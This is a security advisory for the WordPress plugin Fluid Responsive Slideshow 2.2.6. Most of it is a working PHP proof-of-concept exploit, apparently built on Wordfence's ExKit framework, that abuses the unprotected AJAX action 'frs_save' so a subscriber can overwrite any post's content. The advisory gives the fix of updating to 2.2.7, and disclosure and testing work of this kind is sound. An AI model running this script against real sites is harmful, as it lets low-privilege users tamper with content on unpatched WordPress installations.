Fluid Responsive Slideshow [Unauthorized Content Modification]

Description

Plugin Fluid Responsive Slideshow allows an attacker to modify any post’s content to include arbitrary content with only Subscriber-level authentication.

It registers the AJAX action frs_save but does not perform any check to verify a nonce or validate permissions, which allows any authenticated user to alter the content of any post for which the ID is known.

PoC

#!/usr/bin/env php
<?php

/*
 * Exploit Title: Fluid Responsive Slideshow [Unauthorized Content Modification]
 * CVSS Severity Score: 4.1 (Medium)
 * CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
 * Discovery Date: 2016-04-03
 * Exploit Author: Jouko Pynnönen
 * Author URL: https://klikki.fi/adv/fluid_responsive_slideshow.html
 * Vendor Homepage: http://sangarslider.com/
 * Software Link: https://wordpress.org/plugins/fluid-responsive-slideshow/
 * WordPress SVN Repo: https://plugins.svn.wordpress.org/fluid-responsive-slideshow/
 * Version: 2.2.6
 * Tested on: WordPress 4.5.2
 * Category: WebApps, WordPress
 * DWF ID: 
 * Description: Exploits an improper authentication check in the AJAX action "frs_save".
 * PoC: See below.
 * Solution: Restrict this action to authorized users only and verify the user should be able to edit the post for the ID given.
 */

require __DIR__ . DIRECTORY_SEPARATOR . 'vendor' . DIRECTORY_SEPARATOR . 'autoload.php';

use Wordfence\ExKit\WPAuthentication;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\WPNonce;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\Page;

if (@Cli::options()['help'])
{
	Cli::write('This exploit tests for:' . PHP_EOL .
		'1. Any authenticated user can use the AJAX action "frs_save" to modify any post.'
	);
	exit(ExitCodes::EXIT_CODE_INFORMATIONAL_ONLY);
}

$baseURL = Endpoint::baseURL();
$session = new \Requests_Session();

$postID = Config::get('fluid-responsive-slideshow-1.postid', null, true, 'Post ID');

//Log in an administrator
WPAuthentication::logInAsUserRole($session, 'administrator');

//Test authorized access
$token = md5(time());
$r = $session->post(Endpoint::adminAjaxURL(),[], ['action' => 'frs_save', 'post_id' => $postID, 'title' => 'Exploit Test', 'content' => $token]);
if (!$r->success) {
	Cli::write('[-] False positive: Authorized access failed', 'red', null);
	exit(ExitCodes::EXIT_CODE_VALID_REQUEST_FAILED);
}

Cli::write("[*] Verifying valid request...", null, null);

$r = $session->get($baseURL . '?p=' . $postID);
if (!$r->success || strpos($r->body, $token) === false) {
	Cli::write('[-] Unable to verify valid request', 'yellow', null);
	exit(ExitCodes::EXIT_CODE_VALID_REQUEST_FAILED);
}

Cli::write("[+] Authorized access succeeded", 'green', null);

//Log in a subscriber
$session = new \Requests_Session();
WPAuthentication::logInAsUserRole($session, 'subscriber');

//Test unauthorized access
$token = md5(time() . 'unauthorized');
$r = $session->post(Endpoint::adminAjaxURL(),[], ['action' => 'frs_save', 'post_id' => $postID, 'title' => 'Exploit Test', 'content' => $token]);
if (!$r->success) {
	Cli::write('[-] Unauthorized access failed', 'green', null);
	exit(ExitCodes::EXIT_CODE_EXPLOIT_FAILED);
}

Cli::write("[*] Verifying exploit...", null, null);

$r = $session->get($baseURL . '?p=' . $postID);
if (!$r->success || strpos($r->body, $token) === false) {
	Cli::write('[-] Unable to verify exploit', 'yellow', null);
	exit(ExitCodes::EXIT_CODE_EXPLOIT_FAILED);
}

Cli::write("[+] Unauthorized access succeeded", 'red', null);

exit(ExitCodes::EXIT_CODE_EXPLOIT_SUCCEEDED);

Solution

Update to 2.2.7 or newer.


INFO
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX